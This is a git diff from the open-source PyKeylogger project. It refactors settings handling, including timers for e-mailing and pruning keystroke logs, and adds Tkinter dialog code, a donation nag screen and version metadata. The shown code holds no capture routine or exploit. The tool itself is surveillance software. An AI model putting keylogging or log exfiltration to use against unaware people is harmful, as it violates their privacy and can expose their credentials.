self.FlushLogWriteBuffers("Flushing buffers prior to exiting") self.flushtimer.cancel() - if self.settings['smtpsendemail'] == 'True': + if self.settings['E-mail']['SMTP Send Email'] == True: self.emailtimer.cancel() - if self.settings['deleteoldlogs'] == 'True': + if self.settings['Log Maintenance']['Delete Old Logs'] == True: self.oldlogtimer.cancel() - if self.settings['timestampenable'] == 'True': + if self.settings['Timestamp']['Timestamp Enable'] == True: self.timestamptimer.cancel() - if self.settings['zipenable'] == 'True': + if self.settings['Zip']['Zip Enable'] == True: self.ziptimer.cancel() if __name__ == '__main__': diff --git a/mytkSimpleDialog.py b/mytkSimpleDialog.py new file mode 100644 index 0000000..0151fec --- /dev/null +++ b/mytkSimpleDialog.py @@ -0,0 +1,319 @@ +# +# An Introduction to Tkinter +# tkSimpleDialog.py +# +# Copyright (c) 1997 by Fredrik Lundh +# +# fredrik@pythonware.com +# http://www.pythonware.com +# + +# -------------------------------------------------------------------- +# dialog base class +# +# this file is modified by Nanotube (nanotube@users.sf.net) +# in order to allow for the change in the placement of the dialog +# relative to the parent (master) window. + +'''Dialog boxes + +This module handles dialog boxes. It contains the following +public symbols: + +Dialog -- a base class for dialogs + +askinteger -- get an integer from the user + +askfloat -- get a float from the user + +askstring -- get a string from the user +''' + +from Tkinter import * +import os + +class Dialog(Toplevel): + + '''Class to open dialogs. + + This class is intended as a base class for custom dialogs + ''' + + def __init__(self, parent, title = None, rootx_offset=50, rooty_offset=50): + + '''Initialize a dialog. + + Arguments: + + parent -- a parent window (the application window) + + title -- the dialog title + ''' + Toplevel.__init__(self, parent) + self.transient(parent) + + if title: + self.title(title) + + self.parent = parent + + self.result = None + + body = Frame(self) + self.initial_focus = self.body(body) + body.pack(padx=5, pady=5) + + self.buttonbox() + + self.wait_visibility() # window needs to be visible for the grab + self.grab_set() + + if not self.initial_focus: + self.initial_focus = self + + self.protocol("WM_DELETE_WINDOW", self.cancel) + + if self.parent is not None: + self.geometry("+%d+%d" % (parent.winfo_rootx()+rootx_offset, + parent.winfo_rooty()+rooty_offset)) + + self.initial_focus.focus_set() + + self.wait_window(self) + + def destroy(self): + '''Destroy the window''' + self.initial_focus = None + Toplevel.destroy(self) + + # + # construction hooks + + def body(self, master): + '''create dialog body. + + return widget that should have initial focus. + This method should be overridden, and is called + by the __init__ method. + ''' + pass + + def buttonbox(self): + '''add standard button box. + + override if you do not want the standard buttons + ''' + + box = Frame(self) + + w = Button(box, text="OK", width=10, command=self.ok, default=ACTIVE) + w.pack(side=LEFT, padx=5, pady=5) + w = Button(box, text="Cancel", width=10, command=self.cancel) + w.pack(side=LEFT, padx=5, pady=5) + + self.bind("", self.ok) + self.bind("", self.cancel) + + box.pack() + + # + # standard button semantics + + def ok(self, event=None): + + if not self.validate(): + self.initial_focus.focus_set() # put focus back + return + + self.withdraw() + self.update_idletasks() + + self.apply() + + self.cancel() + + def cancel(self, event=None): + + # put focus back to the parent window + if self.parent is not None: + self.parent.focus_set() + self.destroy() + + # + # command hooks + + def validate(self): + '''validate the data + + This method is called automatically to validate the data before the + dialog is destroyed. By default, it always validates OK. + ''' + + return 1 # override + + def apply(self): + '''process the data + + This method is called automatically to process the data, *after* + the dialog is destroyed. By default, it does nothing. + ''' + + pass # override + + +# -------------------------------------------------------------------- +# convenience dialogues + +class _QueryDialog(Dialog): + + def __init__(self, title, prompt, + initialvalue=None, + minvalue = None, maxvalue = None, + parent = None, rootx_offset=50, rooty_offset=50): + + if not parent: + import Tkinter + parent = Tkinter._default_root + + self.prompt = prompt + self.minvalue = minvalue + self.maxvalue = maxvalue + + self.initialvalue = initialvalue + + Dialog.__init__(self, parent, title, rootx_offset, rooty_offset) + + def destroy(self): + self.entry = None + Dialog.destroy(self) + + def body(self, master): + + w = Label(master, text=self.prompt, justify=LEFT) + w.grid(row=0, padx=5, sticky=W) + + self.entry = Entry(master, name="entry") + self.entry.grid(row=1, padx=5, sticky=W+E) + + if self.initialvalue: + self.entry.insert(0, self.initialvalue) + self.entry.select_range(0, END) + + return self.entry + + def validate(self): + + import tkMessageBox + + try: + result = self.getresult() + except ValueError: + tkMessageBox.showwarning( + "Illegal value", + self.errormessage + "\nPlease try again", + parent = self + ) + return 0 + + if self.minvalue is not None and result < self.minvalue: + tkMessageBox.showwarning( + "Too small", + "The allowed minimum value is %s. " + "Please try again." % self.minvalue, + parent = self + ) + return 0 + + if self.maxvalue is not None and result > self.maxvalue: + tkMessageBox.showwarning( + "Too large", + "The allowed maximum value is %s. " + "Please try again." % self.maxvalue, + parent = self + ) + return 0 + + self.result = result + + return 1 + + +class _QueryInteger(_QueryDialog): + errormessage = "Not an integer." + def getresult(self): + return int(self.entry.get()) + +def askinteger(title, prompt, **kw): + '''get an integer from the user + + Arguments: + + title -- the dialog title + prompt -- the label text + **kw -- see SimpleDialog class + + Return value is an integer + ''' + d = _QueryInteger(title, prompt, **kw) + return d.result + +class _QueryFloat(_QueryDialog): + errormessage = "Not a floating point value." + def getresult(self): + return float(self.entry.get()) + +def askfloat(title, prompt, **kw): + '''get a float from the user + + Arguments: + + title -- the dialog title + prompt -- the label text + **kw -- see SimpleDialog class + + Return value is a float + ''' + d = _QueryFloat(title, prompt, **kw) + return d.result + +class _QueryString(_QueryDialog): + def __init__(self, *args, **kw): + if kw.has_key("show"): + self.__show = kw["show"] + del kw["show"] + else: + self.__show = None + _QueryDialog.__init__(self, *args, **kw) + + def body(self, master): + entry = _QueryDialog.body(self, master) + if self.__show is not None: + entry.configure(show=self.__show) + return entry + + def getresult(self): + return self.entry.get() + +def askstring(title, prompt, **kw): + '''get a string from the user + + Arguments: + + title -- the dialog title + prompt -- the label text + **kw -- see SimpleDialog class + + Return value is a string + ''' + d = _QueryString(title, prompt, **kw) + return d.result + +if __name__ == "__main__": + + root = Tk() + root.geometry("+200+200") + root.update() + + print askinteger("Spam", "Egg count", initialvalue=12*12) + print askfloat("Spam", "Egg weight\n(in tons)", minvalue=1, maxvalue=100) + print askstring("Spam", "Egg label", rootx_offset=-30, rooty_offset=-30) diff --git a/pykeylogger.ini b/pykeylogger.ini index 68e5904b7b9d21f5aa1d2c8a5a29a517b3793d4e..0b4ca06b5e8429d66b9ac54df9fbabe22791a5a8 100644 GIT binary patch literal 7412 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", self.openHREF) + self.t.tag_bind("href", "", self.show_hand_cursor) + self.t.tag_bind("href", "", self.show_arrow_cursor) + self.t.config(cursor="arrow", bg="SystemButtonFace", wrap=WORD) + self.t.insert(END, "Welcome to PyKeylogger, a versatile backup and system monitoring solution. \n\n\ +PyKeylogger is Free Open Source Software, licensed under the Gnu General Public License. \ +As such, the python source code for this software is freely available for download at ") + self.t.insert(END, "http://sourceforge.net/projects/pykeylogger", "href") + self.t.insert(END, "\n\nYou are strongly encouraged to donate to this open source project. \ +So strongly, in fact, that you are being presented with this nag screen :). There are three ways \ +to get rid of this startup screen: \n\n 1. Donate to PyKeylogger by following the instructions at ") + self.t.insert(END, "http://pykeylogger.sourceforge.net/wiki/index.php/PyKeylogger:Download_Instructions", "href") + self.t.insert(END, " and you will get a binary build of PyKeylogger without the nag screen, \ +by E-mail, HTTP, FTP, or even a CD mailed by USPS (in the USA only).") + self.t.insert(END, "\n\n 2. Get the source code and run PyKeylogger from source, by following the instructions at ") + self.t.insert(END, "http://pykeylogger.sourceforge.net/wiki/index.php/PyKeylogger:Installation_Instructions", "href") + self.t.insert(END, "\n\n 3. Get the source code, as above, comment out the nag screen, and make your own \ +binary build of PyKeylogger. The executable compilation code is included in the source distribution, and is easy to use.") + self.t.config(state=DISABLED) + + def show_hand_cursor(self, event): + self.t.config(cursor="hand2") + + def show_arrow_cursor(self, event): + self.t.config(cursor="arrow") + + def buttonbox(self): + # add standard button box. override if you don't want the + # standard buttons + + box = Frame(self) + + #w = Button(box, text="OK", width=10, command=self.ok, default=ACTIVE) + #w.pack(side=LEFT, padx=5, pady=5) + w = Button(box, text="Continue", width=10, command=self.cancel, default=ACTIVE) + w.pack(side=LEFT, padx=5, pady=5) + + self.bind("", self.cancel) + self.bind("", self.cancel) + + box.pack() + + def openHREF(self, event): + start, end = self.t.tag_prevrange("href", self.t.index("@%s,%s" % (event.x, event.y))) + #print "Going to %s..." % t.get(start, end) + webbrowser.open(self.t.get(start, end)) + +if __name__ == '__main__': + root=Tk() + root.geometry("100x100+200+200") + warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35) + root.quit() \ No newline at end of file diff --git a/version.py b/version.py index 46972e3..9116465 100644 --- a/version.py +++ b/version.py @@ -1,6 +1,9 @@ -name = "Python Keylogger" -version = "0.7.0" +name = "Python Keylogger for Windows" +version = "0.8.0" description = "Simple Python Keylogger for Windows" url = "http://pykeylogger.sourceforge.net" license = "GPL" +author = "Nanotube" +author_email = "nanotube@users.sf.net" +platforms = ["Windows NT/2000/XP"] \ No newline at end of file -- 2.45.1